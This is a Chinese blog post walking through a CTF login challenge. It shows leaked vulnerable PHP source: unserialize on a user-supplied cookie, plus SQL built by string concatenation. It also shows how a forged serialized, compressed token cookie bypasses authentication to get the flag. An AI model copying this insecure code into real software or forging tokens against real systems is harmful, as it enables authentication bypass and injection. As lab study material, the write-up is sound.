

i春秋“百度杯”CTF比赛 十月场 Login

原创

[「已注销」](#) 于 2018-09-17 22:04:37 发布 473 收藏

分类专栏: [i春秋](#)

友链: <https://cutt.ly/7777aaaa>

本文链接: https://blog.csdn.net/include_heqile/article/details/82749864

版权



[i春秋 专栏收录该内容](#)

19 篇文章 0 订阅

订阅专栏

<https://www.ichunqiu.com/battalion?t=1&r=0>

这道题还是比较狗的

首先进入题目链接, 查看源代码, 发现注释掉的提示 `<!-- test1 test1 -->`

使用该账号和用户名登陆进去, 发现一个掀桌的表情 `(' ▣ ') ^ _ ^`

查看源代码, 没有任何提示, 使用 `burp suite` 抓包, 查看 `http` 报头中的字段, 发现一个可疑字段 `show`

The screenshot shows the Burp Suite interface with a request and response. The request is a GET to `/member.php`. The response is an HTTP/1.1 200 OK from `nginx/1.10.2`. The response headers include `show: 0`. The response body contains the HTML header `<meta charset="utf-8" />` and the掀桌表情 `(' ▣ ') ^ _ ^`. A red arrow points from the `show: 0` header to the掀桌表情 in the body.

现在我们在自己的请求包中加上该字段。并改变它的值, 尝试改成 `1`, 结果有重大发现, 我们得到了 `member.php` 的源代码, 查看一下代码:

```

<?php
include 'common.php';
$request = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
    public $where;
    function __wakeup()
    {
        if(!empty($this->where))
        {
            $this->select($this->where);
        }
    }

    function select($where)
    {
        $sql = mysql_query('select * from user where '.$where);
        return @mysql_fetch_array($sql);
    }
}

if(isset($request['token']))
{
    $login = unserialize(gzuncompress(base64_decode($request['token'])));
    $db = new db();
    $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\');
    if($login['user'] === 'ichunqiu')
    {
        echo $flag;
    }else if($row['pass'] !== $login['pass']){
        echo 'unserialize injection!!';
    }else{
        echo "(^ _ ^)ノ ￣￣ ";
    }
}else{
    header('Location: index.php?error=1');
}
?>

```

我们直接构造一个数组：

```
$test = array("user" => "ichunqiu")
```

然后 `base64_encode(gzcompress(serialize($test)))`

将得到的结果放入构造的请求中的 `Cookie` 的 `token` 字段中

Go Cancel < >

Request

Raw Params Headers Hex

GET request to /member.php

Type	Name	Value
Cookie	ci_session	f21ad98fa047344d1057a32edd84fef0d54ed480
Cookie	chkphone	acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O
Cookie	UM_distinctid	165e62968bb0-08be09325affa98-4c312878-1fa...
Cookie	pgv_pvi	1410873344
Cookie	Hm_lvt_2d0601bd28de7d4981824...	1537164799,1537171934,1537178178,153718...
Cookie	pgv_si	s9857596416
Cookie	Hm_lpt_2d0601bd28de7d498182...	1537192324
Cookie	PHPSESSID	r200a2651a437sur2ju98u7ir6
Cookie	token	eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4oz...

Add Remove Up Down

https://blog.csdn.net/include_heqile

这样就能得到 `flag` 了